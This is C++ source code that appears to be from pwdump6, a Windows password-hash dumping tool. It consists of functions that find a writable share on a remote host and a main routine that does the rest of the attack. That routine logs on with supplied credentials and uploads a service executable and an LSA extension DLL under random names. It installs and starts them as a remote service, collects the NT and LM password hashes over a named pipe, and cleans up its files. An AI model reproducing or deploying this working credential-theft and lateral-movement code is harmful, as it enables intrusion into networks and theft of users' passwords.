bool GetAvailableWriteableShare(char* szServer, int nPhysicalBufferSize, char** lplpPhysicalPath, int nUNCPathSize, char** lplpUNCPath) { // Returns the drive letter if successful, otherwise 0 PSHARE_INFO_2 BufPtr, p; NET_API_STATUS res; DWORD er = 0, tr = 0, resume = 0, i; wchar_t server[MAX_PATH]; char szTemp[MAX_PATH], szTemp2[MAX_PATH]; bool bFound = false; char szServerWithSlashes[MAX_PATH]; ::ZeroMemory(server, MAX_PATH); ::ZeroMemory(szServerWithSlashes, MAX_PATH); ::ZeroMemory(*lplpPhysicalPath, nPhysicalBufferSize); ::ZeroMemory(*lplpUNCPath, nUNCPathSize); //_snprintf(szServerWithSlashes, MAX_PATH, "\\\\%s", szServer); _snprintf(szServerWithSlashes, MAX_PATH, "%s", szServer); mbstowcs(server, szServerWithSlashes, strlen(szServerWithSlashes)); do { // F**k Microsoft and it's lame-ass unicode crap res = NetShareEnum(server, 2, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume); if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA) { p = BufPtr; for(i = 1; i <= er; i++) { ::ZeroMemory(szTemp, MAX_PATH); wcstombs(szTemp, (LPWSTR)(p->shi2_netname), MAX_PATH); // Look for shares that are not SYSVOL or NETLOGON, and that have a physical path if (stricmp(szTemp, "SYSVOL") != 0 && stricmp(szTemp, "NETLOGON") != 0 && wcslen((LPWSTR)(p->shi2_path)) > 0) { // If this is a potentially workable share, try uploading something memset(szTemp2, 0, MAX_PATH); _snprintf(szTemp2, MAX_PATH, "%s\\%s", szServerWithSlashes, szTemp); if (CanUpload(szTemp2)) { // Success! // Copy the physical path to the out variable wcstombs(szTemp, (LPWSTR)(p->shi2_path), MAX_PATH); strncpy(*lplpPhysicalPath, szTemp, nPhysicalBufferSize); // Also copy the UNC path to the out variable strncpy(*lplpUNCPath, szTemp2, nUNCPathSize); bFound = true; break; } // Otherwise continue and try another share } p++; } NetApiBufferFree(BufPtr); } else fprintf(stderr, "GetAvailableWriteableShare returned an error of %ld\n",res); } while (res == ERROR_MORE_DATA); // end do return bFound; }
bool ShareFinder::GetAvailableWriteableShare(char* szServer, int nPhysicalBufferSize, char** lplpPhysicalPath, int nUNCPathSize, char** lplpUNCPath) { // Returns the drive letter if successful, otherwise 0 PSHARE_INFO_502 BufPtr, p; NET_API_STATUS res; DWORD er = 0, tr = 0, resume = 0, i; wchar_t server[MAX_PATH]; char szTemp[MAX_PATH], szTemp2[MAX_PATH]; bool bFound = false; char szServerWithSlashes[MAX_PATH]; ::ZeroMemory(server, MAX_PATH); ::ZeroMemory(szServerWithSlashes, MAX_PATH); ::ZeroMemory(*lplpPhysicalPath, nPhysicalBufferSize); ::ZeroMemory(*lplpUNCPath, nUNCPathSize); _snprintf_s(szServerWithSlashes, MAX_PATH, 2+strlen(szServer), "\\\\%s", szServer); size_t requiredSize = 0; mbstowcs_s(&requiredSize, server, MAX_PATH, szServerWithSlashes, strlen(szServerWithSlashes)); do { // F**k Microsoft and it's lame-ass unicode crap res = NetShareEnum((LPWSTR)server, 502, (LPBYTE*)&BufPtr, -1, &er, &tr, &resume); if(res == ERROR_SUCCESS || res == ERROR_MORE_DATA) { p = BufPtr; for(i = 1; i <= er; i++) { ::ZeroMemory(szTemp, MAX_PATH); size_t requiredSize2 = 0; wcstombs_s(&requiredSize, szTemp, MAX_PATH, (LPWSTR)(p->shi502_netname), MAX_PATH); // Look for shares that are not SYSVOL or NETLOGON, and that have a physical path if (((p->shi502_type == STYPE_DISKTREE) || (p->shi502_type == STYPE_SPECIAL)) /*&& stricmp(szTemp, "QS1LPT3") != 0*/ && _stricmp(szTemp, "SYSVOL") != 0 && _stricmp(szTemp, "NETLOGON") != 0 && wcslen((LPWSTR)(p->shi502_path)) > 0) { // If this is a potentially workable share, try uploading something memset(szTemp2, 0, MAX_PATH); _snprintf_s(szTemp2, MAX_PATH, strlen(szServerWithSlashes)+1+strlen(szTemp), "%s\\%s", szServerWithSlashes, szTemp); if (CanUpload(szTemp2)) { // Success! // Copy the physical path to the out variable size_t requiredSize3 = 0; wcstombs_s(&requiredSize3, szTemp, MAX_PATH, (LPWSTR)(p->shi502_path), MAX_PATH); strncpy_s(*lplpPhysicalPath, MAX_PATH, szTemp, nPhysicalBufferSize); // Also copy the UNC path to the out variable strncpy_s(*lplpUNCPath, MAX_PATH, szTemp2, nUNCPathSize); bFound = true; break; } // Otherwise continue and try another share } p++; } NetApiBufferFree(BufPtr); } else Log.CachedReportError(m_nCacheID, CRITICAL, "BindUploadShareToLocalDrive returned an error of %ld\n",res); } while (res == ERROR_MORE_DATA); // end do return bFound; }
int main(int argc, char* argv[]) { char c; int i; char errMsg[1024]; FILE* outfile = stdout; SC_HANDLE hscm = NULL; SC_HANDLE hsvc = NULL; char* szWritableShare = NULL; char* szWritableSharePhysical = NULL; char machineName[MAX_PATH]; char* machineArg; char resourceName[MAX_PATH]; char szFullServicePath[MAX_PATH]; char szRemoteServicePath[MAX_PATH]; char szRemoteLsaExtPath[MAX_PATH]; char szFullLocalServicePath[MAX_PATH]; char szFullLocalLsaExtPath[MAX_PATH]; char pwBuf[256]; char* password = NULL; char* userName = NULL; char localPath[MAX_PATH]; char szDestinationServicePath[MAX_PATH]; char szDestinationDllPath[MAX_PATH]; char* szSelectedShareName = NULL; char* varg[8]; char dwLen; SERVICE_STATUS statusService; BOOL bSkipHistories = FALSE; char szGUIDServiceName[CHARS_IN_GUID + 1]; char* szServiceFileName; char* szLsaExtFileName; bool bIs64Bit = false; ResourceLoader rlLsaExt, rlPwServ; char szCurrentDir[MAX_PATH]; bool bIsLocalRun = false; bool setPasswordHash = false; //OutputDebugString("PWDump Starting"); srand((unsigned int)time(NULL)); pEncryptionKey = NULL; if(argc < 2) { Usage(argv[0]); return 0; } /* fprintf(stderr, "\npwdump6 Version %s by fizzgig and the mighty group at foofus.net\n", PWDUMP_VERSION); fprintf(stderr, "** THIS IS A BETA VERSION! YOU HAVE BEEN WARNED. **\n"); fprintf(stderr, "Copyright 2009 foofus.net\n\n"); fprintf(stderr, "This program is free software under the GNU\n"); fprintf(stderr, "General Public License Version 2 (GNU GPL), you can redistribute it and/or\n"); fprintf(stderr, "modify it under the terms of the GNU GPL, as published by the Free Software\n"); fprintf(stderr, "Foundation. NO WARRANTY, EXPRESSED OR IMPLIED, IS GRANTED WITH THIS\n"); fprintf(stderr, "PROGRAM. Please see the COPYING file included with this program\n"); fprintf(stderr, "and the GNU GPL for further details.\n\n" ); */ while ((c = getopt(argc, argv, "xnhu:o:p:s:i:")) != EOF) { switch(c) { case 'h': // Print help and exit Usage(argv[0]); return 0; break; case 'u': // Set the user name userName = optarg; break; case 'o': // Set the output file name - opened in Unicode outfile = fopen(optarg, "w, ccs=UTF-16LE"); if(!outfile) { sprintf(errMsg, "Couldn't open %s for writing.\n", optarg); throw errMsg; } break; case 'p': // Set the password password = optarg; break; case 's': // Force this share to be used for uploading szSelectedShareName = optarg; break; case 'n': // Do not dump password histories bSkipHistories = true; break; case 'i': setPasswordHash = true; break; case 'x': // Target x64 bIs64Bit = true; break; default: printf("Unrecognized option: %c\n", c); break; } } // At this point, should have optarg pointing to at least the machine name if (optarg == NULL) { // No machine fprintf(stderr, "No target specified\n\n"); Usage(argv[0]); return 0; } machineArg = optarg; while(*machineArg == '\\') machineArg++; sprintf(machineName, "\\\\%s", machineArg); if (stricmp(machineName, "\\\\localhost") == 0 || stricmp(machineName, "\\\\127.0.0.1") == 0 || stricmp(machineName, "localhost") == 0 || stricmp(machineName, "127.0.0.1") == 0) { bIsLocalRun = true; } // Prompt for a password if a user but no password is specified if (password == NULL && userName != NULL) { i = 0; c = 0; fprintf(stderr, "Please enter the password > " ); while(c != '\r') { c = _getch(); pwBuf[i++] = c; _putch('*'); } pwBuf[--i] = 0; _putch('\r'); _putch('\n'); password = (char*)pwBuf; } memset(resourceName, 0, MAX_PATH); memset(szFullLocalServicePath, 0, MAX_PATH); memset(szFullLocalLsaExtPath, 0, MAX_PATH); memset(szRemoteServicePath, 0, MAX_PATH); memset(szRemoteLsaExtPath, 0, MAX_PATH); memset(szDestinationServicePath, 0, MAX_PATH); memset(szDestinationDllPath, 0, MAX_PATH); if (GetCurrentDirectory(MAX_PATH, szCurrentDir) == 0) { // Can't get the current working dir?!?!? WTF? fprintf(stderr, "Unable to get the current working directory\n"); return -1; } //printf("Current directory for pwdump is %s\n", szCurrentDir); szServiceFileName = (char*)malloc(MAX_PATH + 1); szLsaExtFileName = (char*)malloc(MAX_PATH + 1); // Generate a random name for the service (and file) and DLL if (!GetRandomName((char**)&szServiceFileName, 5, 10)) { sprintf(errMsg, "Filename size mismatch\n"); throw errMsg; } if (!GetRandomName((char**)&szLsaExtFileName, 5, 10)) { sprintf(errMsg, "Filename size mismatch\n"); throw errMsg; } sprintf(szFullLocalServicePath, "%s\\%s.exe", szCurrentDir, szServiceFileName); sprintf(szFullLocalLsaExtPath, "%s\\%s.dll", szCurrentDir, szLsaExtFileName); //sprintf(szFullLocalServicePath, "%s\\servpw.exe", szCurrentDir); //sprintf(szFullLocalLsaExtPath, "%s\\lsremora.dll", szCurrentDir); // Pull the resources out of the EXE and put them on the file system // We will use the resources appropriate to the target (32 vs. 64-bit) if (bIs64Bit) { rlLsaExt.UnpackResource(IDR_LSAEXT64, szFullLocalLsaExtPath); rlPwServ.UnpackResource(IDR_PWSERV64, szFullLocalServicePath); } else { rlLsaExt.UnpackResource(IDR_LSAEXT, szFullLocalLsaExtPath); rlPwServ.UnpackResource(IDR_PWSERV, szFullLocalServicePath); } // If we're running against the local machine, don't bother doing any of the networking stuff. // It actually prevents pwdump from running if networking is disabled. if (bIsLocalRun) { strncpy(szFullServicePath, szFullLocalServicePath, MAX_PATH); strncpy(szRemoteServicePath, szFullLocalServicePath, MAX_PATH); strncpy(szRemoteLsaExtPath, szFullLocalLsaExtPath, MAX_PATH); /*if (bIs64Bit) sprintf(szFullServicePath, "%s\\servpw64.exe", szCurrentDir); else sprintf(szFullServicePath, "%s\\servpw.exe", szCurrentDir);*/ } else { try { // connect to machine NETRESOURCE rec; int rc; rec.dwType = RESOURCETYPE_DISK; rec.lpLocalName = NULL; rec.lpProvider = NULL; szWritableShare = (char*)malloc(MAX_PATH + 1); szWritableSharePhysical = (char*)malloc(MAX_PATH + 1); memset(szWritableShare, 0, MAX_PATH + 1); memset(szWritableSharePhysical, 0, MAX_PATH + 1); GetModuleFileName(NULL, localPath, MAX_PATH); if (szSelectedShareName == NULL) { // Need to establish a connection to enumerate shares sometimes sprintf(resourceName, "%s\\IPC$", machineName); rec.lpRemoteName = resourceName; rc = WNetAddConnection2(&rec, password, userName, 0); if(rc != ERROR_SUCCESS) { sprintf(errMsg, "Logon to %s failed: error %d\n", resourceName, rc); throw errMsg; } if (!GetAvailableWriteableShare(machineName, MAX_PATH, &szWritableSharePhysical, MAX_PATH, &szWritableShare)) { sprintf(errMsg, "Unable to find writable share on %s\n", machineName); throw errMsg; } } else { // For a known share, connect first to establish a trusted connection, then get details about the share sprintf(resourceName, "%s\\%s", machineName, szSelectedShareName); rec.lpRemoteName = resourceName; rc = WNetAddConnection2(&rec, password, userName, 0); if(rc != ERROR_SUCCESS) { sprintf(errMsg, "Logon to %s failed: error %d\n", resourceName, rc); throw errMsg; } if (!CanUpload(resourceName)) { sprintf(errMsg, "Failed to upload to the specified share on %s\n", machineName); throw errMsg; } if (!GetPhysicalPathForShare(machineName, szSelectedShareName, &szWritableSharePhysical, MAX_PATH)) { sprintf(errMsg, "Failed to get the physical path for the specified share on %s\n", machineName); throw errMsg; } strncpy(szWritableShare, resourceName, MAX_PATH); } if (strlen(szWritableShare) <= 0 || strlen(szWritableSharePhysical) <= 0/* || strlen(szLocalDrive) <= 0*/) { sprintf(errMsg, "Unable to find a writable share on %s\n", machineName); throw errMsg; } sprintf(szRemoteServicePath, "%s\\%s.exe", szWritableSharePhysical, szServiceFileName); sprintf(szRemoteLsaExtPath, "%s\\%s.dll", szWritableSharePhysical, szLsaExtFileName); // Copy dll file to remote machine /*strcpy(rDllname, szWritableShare); if (bIs64Bit) { strcpy(strrchr(localPath, '\\') + 1, "lsremora64.dll"); strcat(rDllname, "\\lsremora64.dll"); } else { strcpy(strrchr(localPath, '\\') + 1, "lsremora.dll"); strcat(rDllname, "\\lsremora.dll"); }*/ strncpy(szDestinationServicePath, szWritableShare, MAX_PATH); strncat(szDestinationServicePath, "\\", 1); strncat(szDestinationServicePath, szServiceFileName, MAX_PATH); strncat(szDestinationServicePath, ".exe", 4); // Uh, why not just COPY the file rather than its stream? if (!CopyFile(szFullLocalServicePath, szDestinationServicePath, FALSE)) { sprintf(errMsg, "Couldn't copy %s to destination %s. (Error %d)\n", szRemoteServicePath, szDestinationServicePath, GetLastError()); throw errMsg; } // Copy the service file to remote machine /*if (bIs64Bit) strcpy(strrchr(localPath, '\\') + 1, "servpw64.exe"); else strcpy(strrchr(localPath, '\\') + 1, "servpw.exe"); strcpy(rExename, szWritableShare); strcat(rExename, "\\"); strcat(rExename, szServiceFileName); strcat(rExename, ".exe");*/ strncpy(szDestinationDllPath, szWritableShare, MAX_PATH); strncat(szDestinationDllPath, "\\", 1); strncat(szDestinationDllPath, szLsaExtFileName, MAX_PATH); strncat(szDestinationDllPath, ".dll", 4); if (!CopyFile(szFullLocalLsaExtPath, szDestinationDllPath, FALSE)) { sprintf(errMsg, "Couldn't copy %s to destination %s.\n", szRemoteLsaExtPath, szDestinationDllPath); throw errMsg; } } catch(char* msg) { WNetCancelConnection2(resourceName, 0, false); if(msg) printf(msg); if(outfile) fclose(outfile); if (szWritableShare != NULL) free(szWritableShare); if (szWritableSharePhysical != NULL) free(szWritableSharePhysical); #ifdef _DEBUG printf("Press return to exit...\n"); scanf("..."); #endif return -1; } } try { // Need to create a guid for the pipe name memset(wszGUID, 0, CHARS_IN_GUID + 1); memset(szGUID, 0, CHARS_IN_GUID + 1); CoCreateGuid(&guidPipe); StringFromGUID2(guidPipe, wszGUID, CHARS_IN_GUID); wsprintf(szGUID, "%ls", wszGUID); // establish the service on remote machine if (!bIsLocalRun) hscm = OpenSCManager(machineName, NULL, SC_MANAGER_CREATE_SERVICE); // Remote service connection else hscm = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); // Local service connection if(!hscm) { sprintf(errMsg, "Failed to open SCM\n"); throw errMsg; } CoCreateGuid(&guidPipe); StringFromGUID2(guidPipe, wszGUID, CHARS_IN_GUID); wsprintf(szGUIDServiceName, "%ls", wszGUID); // Give the service a GUID name //strncpy(szServiceFileName, "servpw", MAX_PATH); //printf("My service file name is: %s\n", szServiceFileName); hsvc = CreateService(hscm, szServiceFileName, szGUIDServiceName, SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, szRemoteServicePath, NULL, NULL, NULL, NULL, NULL); if(!hsvc) { int n = GetLastError(); hsvc = OpenService(hscm, szServiceFileName, SERVICE_ALL_ACCESS); if(!hsvc) { sprintf(errMsg, "Failed to create service (%s/%s), error %d\n", szFullServicePath, szGUIDServiceName, GetLastError()); throw errMsg; } } // Open named pipe hThread = _beginthreadex(NULL, 0, (unsigned (_stdcall *)(void *))NamedPipeThread, (void*)machineName, 0, (unsigned*)&nThreadID); if (hThread == NULL) { sprintf(errMsg, "Unable to create named pipe thread, error %d\n", GetLastError()); throw errMsg; } // Create a 16 byte encryption key // ** THIS IS NOT A CRYPTOGRAPHICALLY STRONG SOLUTION!!!! ** // You have been warned LARGE_INTEGER liSeed; pEncryptionKey = (BYTE*)malloc(16); for (i = 0; i < 16; i++) { QueryPerformanceCounter(&liSeed); srand(liSeed.LowPart); pEncryptionKey[i] = rand() & 0xff; // HACK FIX!!! // // Encryption breaks if there is a zero byte in the key // if (pEncryptionKey[i] == 0) pEncryptionKey[i] = 1; //pEncryptionKey[i] = 1; } // Set up service params. Need to set up a temporary char array so that // non-strings can be null-terminated. char szTemp1[2], szTemp2[2]; memset(szTemp1, 0, 2); memset(szTemp2, 0, 2); dwLen = 16; varg[0] = szGUID; varg[1] = (char*)pEncryptionKey; varg[4] = szServiceFileName; varg[5] = szRemoteLsaExtPath; varg[6] = szCurrentDir; if (setPasswordHash) { varg[7] = "set"; } else { varg[7] = "dump"; } memcpy(szTemp1, &dwLen, 1); varg[2] = szTemp1; szTemp2[0] = (char)bSkipHistories; varg[3] = szTemp2; Blowfish_Init(&ctx, pEncryptionKey, dwLen); if(!StartService(hsvc, 8, (const char**)varg)) { sprintf(errMsg, "Service start failed: %d (%s/%s)\n", GetLastError(), szRemoteServicePath, szGUIDServiceName); throw errMsg; } // when the executable is finished running, it can be deleted - clean up BOOL bRet; for(i = 0; ; i++) { if(i == 99) fprintf(stderr, "Waiting for remote service to terminate...\n"); else if(i == 199) fprintf(stderr, "Servers with many user accounts can take several minutes\n"); else if(i % 100 == 99) fprintf(stderr, "."); Sleep(100); if (szDestinationServicePath[0] != 0) { if(DeleteFile(szDestinationServicePath)) break; } else { // If we're running locally, just query the service's status bRet = QueryServiceStatus(hsvc, &statusService); if (!bRet) { fprintf(stderr, "Unable to query service status. Something is wrong, please manually check the status of servpw\n"); break; } if (statusService.dwCurrentState == SERVICE_STOPPED) break; } } fprintf(stderr, "\n"); if (szDestinationDllPath[0] != 0) { if(!DeleteFile(szDestinationDllPath)) fprintf(stderr, "Couldn't delete target executable from remote machine: %d\n", GetLastError()); } WaitForSingleObject((void*)hThread, INFINITE); // Go through each structure and output the password data if (lpUserInfoArray == NULL) { printf("No data returned from the target host\n"); } else { USERINFO* pTemp; wchar_t LMdata[40]; wchar_t NTdata[40]; wchar_t *p; int i; for (unsigned long index = 0; index < nUserInfoArraySize; index++) { pTemp = lpUserInfoArray + index; DWORD* dwdata = (DWORD*)(pTemp->cHash); // Get LM hash if((dwdata[4] == 0x35b4d3aa) && (dwdata[5] == 0xee0414b5) && (dwdata[6] == 0x35b4d3aa) && (dwdata[7] == 0xee0414b5)) { swprintf(LMdata, L"NO PASSWORD*********************"); } else { for(i = 16, p = LMdata; i < 32; i++, p += 2) { swprintf(p, L"%02X", pTemp->cHash[i] & 0xFF); } } // Get NT hash if((dwdata[0] == 0xe0cfd631) && (dwdata[1] == 0x31e96ad1) && (dwdata[2] == 0xd7593cb7) && (dwdata[3] == 0xc089c0e0)) { swprintf(NTdata, L"NO PASSWORD*********************"); } else { for(i = 0, p = NTdata; i < 16; i++, p += 2) { swprintf(p, L"%02X", pTemp->cHash[i] & 0xFF); } } // display data in L0phtCrack-compatible format // Try converting data to Unicode fwprintf(outfile, L"%ls:%ls%ls\n", pTemp->wszUser, NTdata, LMdata); } } throw "Completed.\n"; } // clean up catch(char* msg) { if (pEncryptionKey != NULL) { memset(pEncryptionKey, 0, 16); free(pEncryptionKey); } if (lpUserInfoArray != NULL) GlobalFree(lpUserInfoArray); if(hsvc) { DeleteService(hsvc); CloseServiceHandle(hsvc); } if(hscm) CloseServiceHandle(hscm); if (resourceName[0] != 0) WNetCancelConnection2(resourceName, 0, false); if(msg) { // Do not print the completed message if (strcmp(msg, "Completed.\n")) { printf(msg); } } if(outfile) fclose(outfile); if (szWritableShare != NULL) free(szWritableShare); if (szWritableSharePhysical != NULL) free(szWritableSharePhysical); } #ifdef _DEBUG printf("Press return to exit...\n"); scanf("..."); #endif return 0; }